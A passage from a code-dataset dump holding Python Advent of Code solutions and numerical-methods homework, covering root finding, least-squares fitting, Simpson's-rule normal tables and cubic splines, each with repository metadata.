"470f1edde346202385b25b9d1ec176cd7182bfa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1884, "license_type": "no_license", "max_line_length": 69, "num_lines": 77, "path": "/2022/day14.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import read_lines, timed\n\npaths = [s.split(' -> ') for s in read_lines('day14.txt')]\n\nlowest_y = 0\ngrid = {}\nfor p in paths:\n for i in range(1, len(p)):\n e1 = tuple(map(int, p[i - 1].split(',')))\n e2 = tuple(map(int, p[i].split(',')))\n for x in range(min(e1[0], e2[0]), max(e1[0], e2[0]) + 1):\n for y in range(min(e1[1], e2[1]), max(e1[1], e2[1]) + 1):\n grid[(x, y)] = '#'\n lowest_y = max(lowest_y, y)\n\n@timed\ndef part_one(grid):\n grains = 0\n void = False\n while True:\n x = 500\n y = 0\n while True:\n if not grid.get((x, y + 1)):\n y += 1\n elif not grid.get((x - 1, y + 1)):\n x -= 1\n y += 1\n elif not grid.get((x + 1, y + 1)):\n x += 1\n y += 1\n else:\n grid[(x, y)] = 'o'\n grains += 1\n break\n if y >= lowest_y:\n void = True\n break\n if void:\n break\n\n return grains\n\n@timed\ndef part_two(grid):\n grains = 0\n blocked = False\n while True:\n x = 500\n y = 0\n while True:\n if not grid.get((x, y + 1)):\n y += 1\n elif not grid.get((x - 1, y + 1)):\n x -= 1\n y += 1\n elif not grid.get((x + 1, y + 1)):\n x += 1\n y += 1\n else:\n grid[(x, y)] = 'o'\n grains += 1\n if x == 500 and y == 0:\n blocked = True\n break\n if y == lowest_y + 1:\n grid[(x, y)] = 'o'\n grains += 1\n break\n if blocked:\n break\n\n return grains\n\n\nprint(part_one(grid.copy()))\nprint(part_two(grid.copy()))\n" }, { "alpha_fraction": 0.5555555820465088, "alphanum_fraction": 0.5740740895271301, "avg_line_length": 26.75, "blob_id": "43e9ed4e298131d9afe5c939edb909681acd5964", "content_id": "716f7ced9e449fe5460ab0c51dbb60bd988935d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1998, "license_type": "no_license", "max_line_length": 96, "num_lines": 72, "path": "/2020/2020-24.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nimport re\n\nwith open('inputs/2020-24.txt') as f:\n nondelim_tiles = f.read().splitlines()\n tiles = [re.findall(r'(e|se|sw|w|nw|ne)', t) for t in nondelim_tiles]\n\n# Cube coordinates\nadjustments = {\n 'ne': (1, 0, -1),\n 'sw': (-1, 0, 1),\n 'se': (0, -1, 1),\n 'nw': (0, 1, -1),\n 'e': (1, -1, 0),\n 'w': (-1, 1, 0)\n}\n\n@timed\ndef part_one(tiles):\n tile_colors = {}\n\n for steps in tiles:\n coords = [0, 0, 0]\n for s in steps:\n coords = [c + a for a, c in zip(coords, adjustments[s])]\n\n current_color = tile_colors.get(tuple(coords), False)\n tile_colors[tuple(coords)] = not current_color\n\n return len([c for c in tile_colors.values() if c]), tile_colors\n\ndef get_adj_colors(tile_colors, coords):\n black = 0\n for adj in adjustments.values():\n color = tile_colors.get(tuple([c + a for a, c in zip(coords, adj)]), False)\n if color:\n black += 1\n\n return black\n\ndef add_adj_colors(tile_colors):\n color_copy = tile_colors.copy()\n for coords in tile_colors.keys():\n for adj in adjustments.values():\n adj_coords = tuple([c + a for a, c in zip(coords, adj)])\n adj_tile = color_copy.get(adj_coords)\n if adj_tile is None:\n color_copy[adj_coords] = False\n\n return color_copy\n\n@timed\ndef part_two(tile_colors):\n # Takes ~15 seconds to run\n for i in range(100):\n tile_colors = add_adj_colors(tile_colors)\n tiles_to_flip = []\n for coords, color in tile_colors.items():\n black = get_adj_colors(tile_colors, coords)\n if (color is True and (black == 0 or black > 2)) or (color is False and black == 2):\n tiles_to_flip.append(coords)\n\n for coords in tiles_to_flip:\n tile_colors[coords] = not tile_colors[coords]\n\n return len([c for c in tile_colors.values() if c])\n\n\nanswer, tile_colors = part_one(tiles)\nprint(answer)\nprint(part_two(tile_colors))\n" }, { "alpha_fraction": 0.6077921986579895, "alphanum_fraction": 0.6126159429550171, "avg_line_length": 31.08333396911621, "blob_id": "5b26fa040b4dc5ee883696c21174f60724b01cf3", "content_id": "611344193ff48d743361e48844b2c02a48cdbbca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2695, "license_type": "no_license", "max_line_length": 118, "num_lines": 84, "path": "/2020/2020-08.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nimport copy\nimport re\n\nwith open('inputs/2020-08.txt') as f:\n instructions = f.read().splitlines()\n\n\nclass Program:\n SIGN_MAP = {'+': '__add__', '-': '__sub__'}\n\n def __init__(self, instructions):\n self.instructions = self.read_instructions(instructions) if isinstance(instructions[0], str) else instructions\n self.accumulator = 0\n self.index = 0\n self.executed_instructions = []\n\n def read_instructions(self, instructions):\n return [list(re.match(r'(acc|jmp|nop) (\\+|-)(\\d+)', instruction).groups()) for instruction in instructions]\n\n def run(self) -> (int, bool):\n \"\"\"\n Returns the accumulator when the program terminated/looped and whether or not the program terminated\n \"\"\"\n while True:\n if self.index in self.executed_instructions:\n return self.accumulator, False\n\n try:\n opcode, sign, num = self.instructions[self.index]\n except IndexError:\n # Reached the end of the program for an instruction\n return self.accumulator, True\n\n num = int(num)\n self.executed_instructions.append(self.index)\n\n if opcode == 'acc':\n self.accumulator = getattr(self.accumulator, self.SIGN_MAP[sign])(num)\n elif opcode == 'jmp':\n self.index = getattr(self.index, self.SIGN_MAP[sign])(num) - 1\n elif opcode == 'nop':\n pass\n else:\n raise ValueError(f'Invalid opcode {opcode} in line {self.index + 1}')\n\n self.index += 1\n\n def create_instruction_possibilities(self):\n possible_instructions = []\n for i, (opcode, sign, num) in enumerate(self.instructions):\n if opcode == 'acc':\n continue\n\n instructions_copy = copy.deepcopy(self.instructions)\n instructions_copy[i][0] = 'jmp' if opcode == 'nop' else 'nop'\n possible_instructions.append(instructions_copy)\n\n return possible_instructions\n\n\n@timed\ndef part_one(instructions):\n program = Program(instructions)\n accumulator, _ = program.run()\n return accumulator\n\n@timed\ndef part_two(instructions):\n original_program = Program(instructions)\n possible_instructions = original_program.create_instruction_possibilities()\n\n for instructions in possible_instructions:\n program = Program(instructions)\n accumulator, terminated = program.run()\n if terminated:\n return accumulator\n\n raise Exception('No instruction reached the end of the program')\n\n\nprint(part_one(instructions))\nprint(part_two(instructions))\n" }, { "alpha_fraction": 0.5222222208976746, "alphanum_fraction": 0.5527777671813965, "avg_line_length": 17, "blob_id": "e481e83d053ed9fe6050c239b40da41c0649ce13", "content_id": "36ad6be8569535cc034d5ba3113a2ebbcb700323", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 360, "license_type": "no_license", "max_line_length": 44, "num_lines": 20, "path": "/2022/day06.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import read_file, timed\n\n\nstream = read_file('day06.txt')\n\n@timed\ndef part_one():\n for i in range(len(stream)):\n if len(set(stream[i:i + 4])) == 4:\n return i + 4\n\n@timed\ndef part_two():\n for i in range(len(stream)):\n if len(set(stream[i:i + 14])) == 14:\n return i + 14\n\n\nprint(part_one())\nprint(part_two())\n" } ]
75
kang0921/1092-Numeric-Method
https://github.com/kang0921/1092-Numeric-Method
3804f90aaf7699f2f101e996d6850ab69cad604f
1059d7c18d28f6f645015c262c4b2fe9cf2f78a2
755fd931ac386d6a1cc7e2b84a6774dc8bb71a4b
refs/heads/master
2023-08-21T20:15:56.823592
2021-10-06T12:12:25
2021-10-06T12:12:25
371,680,969
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.38300395011901855, "alphanum_fraction": 0.6177865862846375, "avg_line_length": 28.09195327758789, "blob_id": "9318717fa3d43dab352d733c5646da989ec91688", "content_id": "9efdd2ecf0adaa31804e731e512c7499c0fd3d8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2864, "license_type": "no_license", "max_line_length": 82, "num_lines": 87, "path": "/Lab4 Least Square/數值方法作業四 407261128 康智絜.py", "repo_name": "kang0921/1092-Numeric-Method", "src_encoding": "UTF-8", "text": "import numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\nn = 45 \t# 數據的數量\nX = np.array([ \n\t\t0.02000,0.08000,0.34000,0.45000,0.58000,0.70000,0.82000,1.07000,1.38000,1.68000,\n\t\t1.80000,1.93000,2.23000,2.50000,2.71000,2.86000,3.14000,3.40000,3.62000,3.88000,\n\t\t4.21000,4.45000,4.53000,4.71000,5.03000,5.18000,5.31000,5.43000,5.54000,5.80000,\n\t\t6.03000,6.16000,6.32000,6.45000,6.75000,6.95000,7.11000,7.25000,7.51000,7.73000,\n\t\t8.02000,8.16000,8.38000,8.61000,8.75000 ])\nY = np.array([ \n\t\t1.00000,1.09530,1.47890,1.65150,1.84740,1.96420,2.09250,2.08640,1.69780,1.12560,\n\t\t0.89460,0.70720,0.54260,0.73960,1.04280,1.27990,1.66240,1.81770,1.78750,1.63360,\n\t\t1.44530,1.34830,1.33800,1.33330,1.30890,1.25790,1.19160,1.11650,1.04140,0.88350,\n\t\t0.84900,0.89830,1.04160,1.20370,1.68590,1.96220,2.09290,2.12590,1.94030,1.57880,\n\t\t1.00830,0.77950,0.56620,0.57930,0.67470 ])\n\n#return Pm(x) coefficient y = a0 + a1*x + a2*x^2 ...\ndef get_coefficient(m):\n\tdim = m + 1\t# 矩陣的維度\n\tA = np.zeros((dim, dim))\n\tB = np.zeros((dim, 1))\n\n\tA[0][0] = n\n\t# 求矩陣A\n\tfor i in range (dim):\n\t\tfor j in range (dim):\n\t\t\tfor x in X:\n\t\t\t\tif i != 0 and j!= 0:\n\t\t\t\t\tA[i][j] += pow(x, (i+j))\n\n\t# 求矩陣B\n\tfor i in range (dim):\n\t\tfor j in range(n):\n\t\t\tB[i] += Y[j] * pow(X[j], i)\n\n\t# 回傳 Ax = B 中的 x\n\treturn np.linalg.solve(A, B)\n\n# Pm = m次多項式\ndef Pm(m, x):\n\t# 取得m次多項式的係數\n\tcoeff = get_coefficient(m)\n\tans = 0\n\tfor i in range(m):\n\t\tans += coeff[i]* math.pow(x, i)\n\t#回傳m次多項式帶入x後的結果\n\treturn ans\n\n# 計算誤差\ndef error(m):\n\te = 0\n\tfor i in range(n):\n\t\te += (Pm(m, X[i]) - Y[i])**2\n\n\treturn math.sqrt(e / (n-m))\n\ndef drawGraph(minPm):\n\tline_x = np.linspace(0.0, 10.0, 100)\t\t# x從 0 ~ 10 間隔 0.1\n\tline_y = [ Pm(minPm, x) for x in line_x ]\t# 將x代入Pm\n\tplt.title(f'The Best Choice is P{minPm}(x)', fontsize = 20)\t\t# 標題\n\tplt.axis([0,10,0,5])\t\t\t\t\t\t# 設定x, y座標的範圍( X:0~10 ; Y:0~5 )\n\tplt.xlabel('X', fontsize=16)\t\t\t\t# X軸標題\n\tplt.ylabel('Y', fontsize=16, rotation=0)\t# Y軸標題 並將標題方向轉正\n\tplt.scatter(X, Y, color='green')\t\t\t# 印出原先的數據(綠色的圓點)\n\tplt.plot(line_x, line_y, color='red')\t\t# 畫線\n\tplt.show()\t\t\t\t\t\t\t\t\t# 顯示繪製的圖形\n\ndef main():\n\n\tnum = 15 \t\t\t\t\t# 找出 15次到(n-1)次的所有多項式\n\tminError = error(num)\t\t# 最小的誤差\n\tminPm = num \t\t\t\t# 最小的誤差的minPm次多項式\n\tfor m in range(num, n):\t# 找15 ~ 44次多項式中最小誤差的多項式\n\t\tprint( \"\\nP%d(x)'s coefficient:\\n\" %m, get_coefficient(m) )\n\t\te = error(m)\n\t\tif e < minError:\n\t\t\tminError = e\n\t\t\tminPm = m\n\n\tprint( \"The Best Choice is P%d(x)\" %minPm )\t\t\t\t# 印出第幾次多項式是最好的\n\tprint( \"P%d(x)'s\" %minPm, \"error is\", error(minPm) )\t# 印出誤差最小的多項式的誤差\n\tdrawGraph(minPm)\t\t\t# 畫圖\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.5428571701049805, "alphanum_fraction": 0.6285714507102966, "avg_line_length": 10.666666984558105, "blob_id": "2428ccaff75e656b5de1020898d907f88d282e53", "content_id": "b726775798e766c4e1a6b8801b32e97835fbb097", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 77, "license_type": "no_license", "max_line_length": 12, "num_lines": 3, "path": "/README.md", "repo_name": "kang0921/1092-Numeric-Method", "src_encoding": "UTF-8", "text": "# 109級 數值方法\n- 系級:資工三甲\n- 教授:林宏彥 副教授\n" }, { "alpha_fraction": 0.5085227489471436, "alphanum_fraction": 0.6448863744735718, "avg_line_length": 17.578947067260742, "blob_id": "d48e296bfaf61736da31e2632d44953858806e96", "content_id": "4915cdb42f40dc4784317fb282d8bcc203d0a0cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 712, "license_type": "no_license", "max_line_length": 83, "num_lines": 19, "path": "/Lab3 製作標準常態分配表/README.txt", "repo_name": "kang0921/1092-Numeric-Method", "src_encoding": "UTF-8", "text": "參考標準常態分配表,製作一份更精準的常態分配表\n\n1. 一般常態分配表是到小數點以下第二位\n\n 例如 P( z < 0.68 )=0.7517\n\n 常態分配表,查表 z 的範圍,小於 0.00 , 0.01, 0.02, 0.03 ......1.00, 1.01, 1.02, 1.03, ......\n\n 表格中, z 的範圍只到小數點後第二位\n\n2. Hw. 3 要求同學做出來的標準常態分配表,z 的範圍是到小數點後第三位\n\n 例如 P( z < 1.284) 直接查表就可以得到\n\n3. 這個表格,z 的範圍由 0.000 ~ 4.999\n\n同學說,聽不懂題目。應該是把常態分配拋到九霄雲外,才不知老師的要求\n\n建議,先回顧標準常態分配表的意義。慢慢就知道該怎麼作了" }, { "alpha_fraction": 0.5132743120193481, "alphanum_fraction": 0.5796459913253784, "avg_line_length": 17.86111068725586, "blob_id": "9d1be982da5ad88124ade9eacf4e2ed769f34571", "content_id": "bdef5d3da7dc7c34b81a930b7639eba9072bccb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 862, "license_type": "no_license", "max_line_length": 64, "num_lines": 36, "path": "/Lab3 製作標準常態分配表/HW3.py", "repo_name": "kang0921/1092-Numeric-Method", "src_encoding": "UTF-8", "text": "import math\n\n# 回傳積分中的f(x)\ndef f(x):\n\treturn (1/math.sqrt(2*math.pi))*math.exp(-x*x/2)\n\n# Simpson's 1/3 rule\n# 參數x是normal dist.中積分的z\n# 參數n是要切成幾份\ndef simpson(x, n):\n\tsum = 0\n\tdelta = x/n \t# (b-a)/n\n\tfor x in range(0, n+1):\t # x = 0~n 分別算出切成n份的面積\n\n\t\t# 如果是x0或xn 則f(x0)和f(xn)乘1倍\n\t\tif x == 0 or x == (n):\t\n\t\t\tsum += f(x*delta)\n\n\t\t# 如果是xi的i是奇數 則f(xi)乘4倍\n\t\telif x%2 == 1:\n\t\t\tsum += 4 * f(x*delta)\n\n\t\t# 如果是xi的i是偶數 則f(xi)乘2倍\n\t\telse:\n\t\t\tsum += 2 * f(x*delta)\n\n\treturn (delta/3)*sum\n\ndef main():\n\tn = 100\t\t#要切的間隔數\n\toffset = 0.001\t\t# 方便計算.001~.009 如果要算.00n時 改這個變數即可\n\tfor i in range(0, 500):\n\t\tprint(round(simpson(0.01*i+offset, n)+0.5, 4) )\t\t# 四捨五入到小數點第四位\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.7565789222717285, "alphanum_fraction": 0.7763158082962036, "avg_line_length": 15.666666984558105, "blob_id": "976d88a926dd10a34970059949ac4f1c2a42c8bf", "content_id": "c5e5c6780a9d6a473d4dfc012639e60befceb0a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 352, "license_type": "no_license", "max_line_length": 41, "num_lines": 9, "path": "/Lab4 Least Square/README.txt", "repo_name": "kang0921/1092-Numeric-Method", "src_encoding": "UTF-8", "text": "實驗數據 y=f(x) ,如附檔(共 n 筆數據)\n\n用 Least Square ,找出 15次到(n-1)次的所有多項式\n\nOuput 各次數多項式的係數\n\n再由其中選擇你認為最理想的那一次多項式,將曲線繪出\n\n有可能,同學在課堂中沒有學過繪圖模式,這裡就要考驗同學們的能力了。設法完成這項任務 " }, { "alpha_fraction": 0.4574877619743347, "alphanum_fraction": 0.5236179232597351, "avg_line_length": 22.816667556762695, "blob_id": "fa12e09870add54a9acaea4fde31c22bdf2af23d", "content_id": "17a86cc7125021132e21c73c0db4c8a382a04bfa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5754, "license_type": "no_license", "max_line_length": 95, "num_lines": 240, "path": "/Lab1 解方程式/HW1.py", "repo_name": "kang0921/1092-Numeric-Method", "src_encoding": "UTF-8", "text": "import math\nimport time\n\nepsilon = math.pow(10, -6)\nepoch = math.pow(10, 8)\n\n# function 1\ndef f1(x):\n\treturn -2*x*x - 6*x + 3\n\ndef g1(x):\n\treturn -3/(-2*x-6)\n\ndef f1_differential(x):\n\treturn -4*x - 6\n\n# function 2\ndef f2(x):\n\treturn x*x - 5*x - 8\n\ndef g2(x):\n\treturn 8/(x-5)\n\ndef f2_differential(x):\n\treturn 2*x - 5\n\n# function 3\ndef f3(x):\n\treturn 2*x*x + x - 6\n\ndef g3(x):\n\treturn 6/(2*x+1)\n\ndef f3_differential(x):\n\treturn 4*x + 1\n\n# function 4 共同題\ndef f4(x):\n\treturn 4.98*math.cos(x) + 3.2*x*math.sin(2*x) -3*x + 2.9\n\ndef g4(x):\n\treturn (4.98*math.cos(x)+3.2*x*math.sin(2*x)+2.9)/3\n\ndef g4(x):\n\treturn (-2.9 - 4.98*math.cos(x))/(3.2*math.sin(2*x)-3)\n\ndef f4_differential(x):\n\treturn 3.2*(2*x*math.cos(2*x) + math.sin(2*x)) - 4.98 * math.sin(x) - 3\n\n# 二分法\ndef Bisection(a, b, f):\n\tif f(a) * f(b) >= 0:\n\t\tprint(\"Assume incorrect a and b.\")\n\telse:\n\t\tcnt = 0\n\t\twhile abs(a-b) > 2*epsilon and cnt < epoch:\n\t\t\tcnt += 1\n\t\t\tm = (a+b)/2\n\t\t\tif f(a) * f(m) > 0 :\n\t\t\t\ta = m\n\t\t\telse:\n\t\t\t\tb = m\n\t\tprint(\"Bisection solution is\", (a+b)/2, \", step is\", cnt)\n\n# 假位法\ndef False_Position(a, b, f):\n\tif f(a) * f(b) >= 0:\n\t\tprint(\"Assume incorrect a and b.\")\n\telse:\n\t\tcnt = 0\n\t\tm = ( a*f(b) - b*f(a) ) / ( f(b) - f(a) )\n\t\told = m\n\t\twhile abs(f(m) - f(old)) >= epsilon or cnt == 0:\n\t\t\tcnt += 1\n\t\t\told = m\n\t\t\tif f(a) * f(m) > 0 :\n\t\t\t\ta = m\n\t\t\telse:\n\t\t\t\tb = m\n\t\t\tm = ( a*f(b) - b*f(a) ) / ( f(b) - f(a) )\n\t\tprint(\"False Position solution is\", m,\", step is\", cnt)\n\ndef Modify_False_Position(a, b, f):\n\tif f(a) * f(b) >= 0:\n\t\tprint(\"Assume incorrect a and b.\")\n\telse:\n\t\tFa = f(a)\n\t\tFb = f(b)\n\t\tm = ( a * Fb - b * Fa) / ( Fb - Fa )\n\t\tcnt = 0\n\t\twhile abs(f(m)) > epsilon and cnt < epoch:\n\t\t\tcnt += 1\n\t\t\tFm = f(m)\n\t\t\tif Fa * Fm >= 0:\n\t\t\t\ta = m\n\t\t\t\tFa = Fm\n\t\t\t\tFb = Fb/2\n\t\t\t\tm = (a*Fb - b*Fa)/(Fb-Fa)\n\t\t\telse:\n\t\t\t\tb = m\n\t\t\t\tFb = Fm\n\t\t\t\tFa = Fa/2\n\t\t\t\tm = (a*Fb - b*Fa)/(Fb-Fa)\n\n\t\tprint(\"Modify false position solution is\", m, \", step is\", cnt)\n\n# 牛頓法\ndef Newton_Method(x, f, df):\n\tinit = x\n\tdelta = -(f(x)/df(x))\n\tcnt = 0\n\twhile abs(delta) >= epsilon and cnt < epoch:\n\t\tcnt += 1\n\t\tdelta = -(f(x)/df(x))\n\t\tx = x + delta\n\tprint(\"Newton method solution is\", x, \", step is\", cnt ,\", initial input value is\", init)\n\n# 割線法\ndef Secant_Method(x1, x2, f):\n\tcnt = 0\n\twhile abs(x2-x1) > epsilon and cnt < epoch:\n\t\tcnt += 1\n\t\tx3 = x1 - ( (f(x1)*(x2-x1))/(f(x2)-f(x1)) )\n\t\tx1 = x2\n\t\tx2 = x3\n\tprint(\"Secant method solution is\", x2,\", step is\", cnt)\n\n# 固定點法\ndef Fixed_Point_Method(x0, f, g):\n\tinit = x0\n\tx1 = g(x0)\n\tcnt = 0\n\twhile abs(x1 - x0) > epsilon and cnt < epoch:\n\t\tx0 = x1\n\t\tx1 = g(x0)\n\t\tcnt += 1\n\tprint(\"Fixed point method solution is\", x1,\", step is\", cnt, \", initial input value is\", init)\n\n\ndef main():\n\n\tf1_a = -1\n\tf1_b = 2\n\tprint(\"Function1: -2*x*x - 6*x + 3\")\n\tBisection(f1_a, f1_b, f1)\n\tFalse_Position(f1_a, f1_b, f1)\n\tModify_False_Position(f1_a, f1_b, f1)\n\tNewton_Method(f1_a, f1, f1_differential)\n\tSecant_Method(f1_a, f1_b, f1)\n\tFixed_Point_Method(f1_a, f1, g1)\n\n\tprint(\"---------------------------------------------------------------\")\n\n\tf2_a = -2\n\tf2_b = 2\n\tprint(\"\\nFunction2: x*x - 5*x - 8\")\n\tBisection(f2_a, f2_b, f2)\n\tFalse_Position(f2_a, f2_b, f2)\n\tModify_False_Position(f2_a, f2_b, f2)\n\tNewton_Method(f2_a, f2, f2_differential)\n\tSecant_Method(f2_a, f2_b, f2)\n\tFixed_Point_Method(f2_a, f2, g2)\n\n\tprint(\"---------------------------------------------------------------\")\n\n\tf3_a = 1\n\tf3_b = 5\n\tprint(\"\\nFunction3: 2*x*x + x - 6\")\n\tBisection(f3_a, f3_b, f3)\n\tFalse_Position(f3_a, f3_b, f3)\n\tModify_False_Position(f3_a, f3_b, f3)\n\tNewton_Method(f3_a, f3, f3_differential)\n\tSecant_Method(f3_a, f3_b, f3)\n\tFixed_Point_Method(f3_a, f3, g3)\n\n\tprint(\"---------------------------------------------------------------\")\n\n\tf4_a = -5\n\tf4_b = -2.5\n\tprint(\"\\nFunction4: 4.98*math.cos(x) + 3.2*x*math.sin(2*x) -3*x + 2.9\")\n\tprint(\"a =\", f4_a, \", b =\", f4_b)\n\tBisection(f4_a, f4_b, f4)\n\tFalse_Position(f4_a, f4_b, f4)\n\tModify_False_Position(f4_a, f4_b, f4)\n\tNewton_Method(-3, f4, f4_differential)\n\tSecant_Method(f4_a, f4_b, f4)\n\tFixed_Point_Method(-4, f4, g4)\n\n\tprint(\"---------------------------------------------------------------\")\n\n\tf4_a = -2.5\n\tf4_b = -2\n\tprint(\"\\nFunction4: 4.98*math.cos(x) + 3.2*x*math.sin(2*x) -3*x + 2.9\")\n\tprint(\"a =\", f4_a, \", b =\", f4_b)\n\tBisection(f4_a, f4_b, f4)\n\tFalse_Position(f4_a, f4_b, f4)\n\tModify_False_Position(f4_a, f4_b, f4)\n\tNewton_Method(-2, f4, f4_differential)\n\tSecant_Method(f4_a, f4_b, f4)\n\tFixed_Point_Method(-3, f4, g4)\n\n\tprint(\"---------------------------------------------------------------\")\n\tf4_a = 1\n\tf4_b = 2\n\tprint(\"\\nFunction4: 4.98*math.cos(x) + 3.2*x*math.sin(2*x) -3*x + 2.9\")\n\tprint(\"a =\", f4_a, \", b =\", f4_b)\n\tBisection(f4_a, f4_b, f4)\n\tFalse_Position(f4_a, f4_b, f4)\n\tModify_False_Position(f4_a, f4_b, f4)\n\tNewton_Method(1, f4, f4_differential)\n\tSecant_Method(f4_a, f4_b, f4)\n\tFixed_Point_Method(1, f4, g4)\n\n\tprint(\"---------------------------------------------------------------\")\n\tf4_a = 3\n\tf4_b = 4\n\tprint(\"\\nFunction4: 4.98*math.cos(x) + 3.2*x*math.sin(2*x) -3*x + 2.9\")\n\tprint(\"a =\", f4_a, \", b =\", f4_b)\n\tBisection(f4_a, f4_b, f4)\n\tFalse_Position(f4_a, f4_b, f4)\n\tModify_False_Position(f4_a, f4_b, f4)\n\tNewton_Method(3, f4, f4_differential)\n\tSecant_Method(f4_a, f4_b, f4)\n\tFixed_Point_Method(5, f4, g4)\n\n\t# print(\"---------------------------------------------------------------\")\n\t# Fixed_Point_Method(-5, f4, g4)\n\t# Fixed_Point_Method(-4, f4, g4)\n\t# Fixed_Point_Method(-3, f4, g4)\n\t# Fixed_Point_Method(-2, f4, g4)\n\t# Fixed_Point_Method(-1, f4, g4)\n\t# Fixed_Point_Method(0, f4, g4)\n\t# Fixed_Point_Method(1, f4, g4)\n\t# Fixed_Point_Method(2, f4, g4)\n\t# Fixed_Point_Method(3, f4, g4)\n\t# Fixed_Point_Method(4, f4, g4)\n\t# Fixed_Point_Method(5, f4, g4)\n\nif __name__ == '__main__':\n\tmain()\n" }, { "alpha_fraction": 0.684684693813324, "alphanum_fraction": 0.7252252101898193, "avg_line_length": 12.9375, "blob_id": "7980109246b634504079ebf50558409841b83a36", "content_id": "0f13aa434bfd74e12ae922c9e0967d90dee9bd2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 516, "license_type": "no_license", "max_line_length": 58, "num_lines": 16, "path": "/Lab1 解方程式/README.txt", "repo_name": "kang0921/1092-Numeric-Method", "src_encoding": "UTF-8", "text": "主題:解方程式 f(x) = 0\n\n同學們,進行實驗,用六種不同方法解方程式 f(x)=0。進行比較分析\n\n規定:\n1. 同學自行選定至少 3 題,練習看看這些解法\n\n2. 隨後,上課時或是在教學網頁,會公告指定題目,同學完成後再合併進去\n\n3. 繳交 Source Code 時,同學除了提出各方法優劣比較外,尚須分析過程中的體會( 以 word 呈現)\n\n4. 程式不限定語言\n\n5. 嚴禁抄襲,教學助理會嚴格把關\n\n6. 共同題,如附檔" }, { "alpha_fraction": 0.4569266736507416, "alphanum_fraction": 0.5034924149513245, "avg_line_length": 22.2297306060791, "blob_id": "3e8ecf5a8bf60cde9040befed35e258ff9f35441", "content_id": "c4d286b9261571a02c19379ea5d0db2334ed8d35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1718, "license_type": "no_license", "max_line_length": 109, "num_lines": 74, "path": "/練習/Cubic Spline/CubicSpline.py", "repo_name": "kang0921/1092-Numeric-Method", "src_encoding": "UTF-8", "text": "import numpy as np\nimport math\n\ndef getDataset():\n\n\tfp = open('input.txt', 'r')\t# open file\n\tlines = fp.readlines()\n\tglobal n \t\n\tglobal X\n\tglobal Y\n\tn = len(lines)\t# number of data\n\tX = []\t\t\t# input node X\n\tY = []\t\t\t# input node Y\n\tfor line in lines:\n\t\ttmp = line.split()\t# use space as separator\n\t\tX.append(float(tmp[0]))\t# get x\n\t\tY.append(float(tmp[1]))\t# get y\n\tfp.close()\t# close file\n\ndef init():\n\t\n\t# h[i] is the length of the i-th interval\n\th = np.zeros(n)\t# set initial values of h\n\tfor i in range(n-1):\n\t\th[i+1] = X[i+1] - X[i]\t# h1, h2,..., h(n-1)\n\n\tA = [[0]*(n-2) for i in range(n-2)]\t\t# initial A as 0\n\t\n\t# set the value of the first row of A\n\tA[0][0] = 2*(h[1]+h[2])\t\n\tA[0][1] = h[2]\n\n\t# set the value of the row 2 to row n-3 of A\n\tfor i in range(1, n-3):\n\t\tA[i][i-1] = h[i+1]\n\t\tA[i][i] = 2 * ( h[i+1] + h[i+2] )\n\t\tA[i][i+1] = h[i+2]\n\n\t# set the value of the last row of A\n\tA[n-3][n-4] = h[n-2]\n\tA[n-3][n-3] = 2 * ( h[n-2] + h[n-1] )\n\n\tB = [[0] for i in range(n-2)]\t# initial B as 0\n\n\t# set the value of B\n\tfor i in range(n-2):\t\t\n\t\tB[i] = 6 * ( ((Y[i+2] - Y[i+1])/h[i+2]) - ((Y[i+1] - Y[i])/h[i+1]) )\n\n\t# S is the solution of Ax = B\n\tS = np.linalg.solve(A, B)\n\treturn h, S\n\ndef CubicSpline(i, h, S):\n\t\n\ts = np.zeros(n+1)\t# initial s0, s1, s2,..., sn as 0\n\tfor j in range(2, n):\n\t\ts[j] = S[j-2]\t# set s2 to sn-1\n\n\t# P3^i(X) = ai(X-Xi)^3 + bi(X-Xi)^2 + ci(X-Xi) + di\n\ta = (s[i+1] - s[i])/(6*h[i])\n\tb = s[i]/2\n\tc = (Y[i]-Y[i-1])/h[i] - ((2*s[i]+s[i+1])*h[i])/6\n\td = Y[i-1]\n\n\tprint(\"P3^%d(X) = %f(X-%.2f)^3 + %f(X-%.2f)^2 + %f(X-%.2f) + %.4f\" %(i, a, X[i-1], b, X[i-1], c, X[i-1], d))\n\ndef main():\n\tgetDataset()\n\th, S = init()\n\tfor i in range(1, n):\n\t\tCubicSpline(i, h, S)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.39720645546913147, "alphanum_fraction": 0.4513312876224518, "avg_line_length": 28.753246307373047, "blob_id": "3a8d6dc4b24aa8b9a54283fb395d7d70784e0129", "content_id": "5793eb03217aa17c76522aeb0342661fe97f297e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2300, "license_type": "no_license", "max_line_length": 122, "num_lines": 77, "path": "/練習/Integration.py", "repo_name": "kang0921/1092-Numeric-Method", "src_encoding": "UTF-8", "text": "import numpy as np\n\ndef f(x):\n\treturn 1 / (1 + x**2)\n\ndef Trapezoidal_Rule(a, b, n):\n\tdelta_X = (b-a)/n \t\t\t\t# ΔX is the distance between Xi and 